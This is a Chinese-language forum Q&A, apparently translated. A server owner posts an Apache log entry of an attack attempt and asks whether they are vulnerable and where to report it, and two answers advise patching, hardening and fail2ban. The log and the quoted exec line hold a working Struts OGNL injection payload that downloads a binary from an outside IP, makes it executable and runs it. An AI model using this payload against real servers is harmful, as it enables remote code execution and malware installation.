不要恐慌!

不要恐慌!

我查看了一些 Apache 日志,发现了一次看似攻击的情况

core:error] [pid 20356] (36)File name too long: [client xxx.xxx.xxx.xxx:56856] AH00036: access to
/${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().
exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)').getInputStream()))).
(#w.close())}/index.action failed (filesystem path '/var/www/html/${(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname --m|grep x86_64 >> ')

执行行如下:

exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)')

我在沙箱中下载了该文件wget -O .loop http://111.90.158.225/d/ft64,它看起来像是一个已编译/二进制文件,所以我不确定该文件在运行时会做什么。

  1. 从错误中谁能判断我是否存在漏洞,或者更好的是,如何调查漏洞/提高这次攻击的安全性?

    • 我在 Apache 2.4 上运行 Symfony 4 API。
    • 我不确定攻击是如何发生的,以及他们如何尝试运行.exec命令
  2. 有没有合适的地方来举报此事?

答案1

您的问题是:

我发现了一次攻击企图——我该怎么办?

然后你气喘吁吁地说出以下内容:

我正在查看一些 Apache 日志,发现了一次看似攻击的行为……

你是做什么的?简单回答:

不要恐慌!

为了尝试减轻察觉到的威胁而惊慌失措并采取过多、过快的行动可能会对服务器造成比实际攻击可能造成的损害更大的损害。

但更详细地说,世界上的每台 Web 服务器都在不断受到探测,有时甚至会受到真正的攻击。这就是互联网的本质。您的 Apache 日志只是记录对服务器的请求,仅此而已。如果您的 Apache 版本和底层操作系统(假设是 Linux)已完全修补并更新,那么您应该很可靠。如果您在服务器上运行任何面向 Web 的脚本(例如 PHP 脚本),您可能是否存在漏洞取决于你的 PHP 代码的可靠性。

话虽如此,我还是不会太担心。如果您的 PHP 代码由预打包系统(如 WordPress 或 Drupal)组成,请确保 CMS 已修补并保持最新状态。如果此 PHP 代码是自定义代码,则该自定义代码的脆弱性仅与编码人员的编码能力一样脆弱。

但这一切仍然归结于我最初的信息:

不要恐慌!

你被这个脚本攻击的可能性微乎其微。它不是一个“攻击”,而是一个试图去攻击。

这个总结之外的任何内容实际上都超出了简单问题的范围。

话虽如此,最易受攻击的网站并非自定义编码的网站,而是 WordPress 和 Drupal 等预打包系统,这些系统尚未得到网站所有者的修补。为什么这些网站没有得到修补?原因太多,无法一一列举。但绝大多数基于 Web 的攻击主要针对的是 WordPress 和 Drupal 等过时且未打补丁的预打包系统。

另外,你问:

有没有合适的地方来举报此事?

向谁报告什么?基本上,你只是在某个地方被某个随机脚本探测(并试图攻击)。如果你知道 IP 地址,你也许能够联系该 IP 地址的所有者,看看他们能否做些什么。但在 2018 年,这充其量只是徒劳无功。

为什么?很简单:如今黑客使用的僵尸网络通常只是受感染的机器或一次性云服务器集群,它们负责攻击服务器的肮脏工作。仅仅因为您受到特定 IP 地址的攻击并不意味着该 IP 地址的系统的所有者就是攻击者。它可能只是一个受感染的系统。如果它是一个一次性云服务器,您可能需要联系管理该云服务器的 ISP 并或许他们可以收到警报。但最终会发生的是,僵尸网络的所有者会将这些攻击服务器移至另一家 ISP。

最好只是确保您的代码和服务器是可靠的,而不必担心“报告”此类事情。这种攻击并不是独一无二的,报告它不会让您获得想要的结果。

答案2

如果您仔细查看 Apache 日志,您可能会看到大量尝试利用您的服务器的各种已知漏洞进行连接的示例。

确保 Apache 和服务器上运行的任何应用程序都安装最新的安全修复程序非常重要。此外,请查看 CIS 的 Apache 安全基线文档,以帮助强化您的安装。
最后,查看 fail2ban 等工具以及 Apache jails 和过滤器(apache-noscript、apache-overflow 等)。

相关内容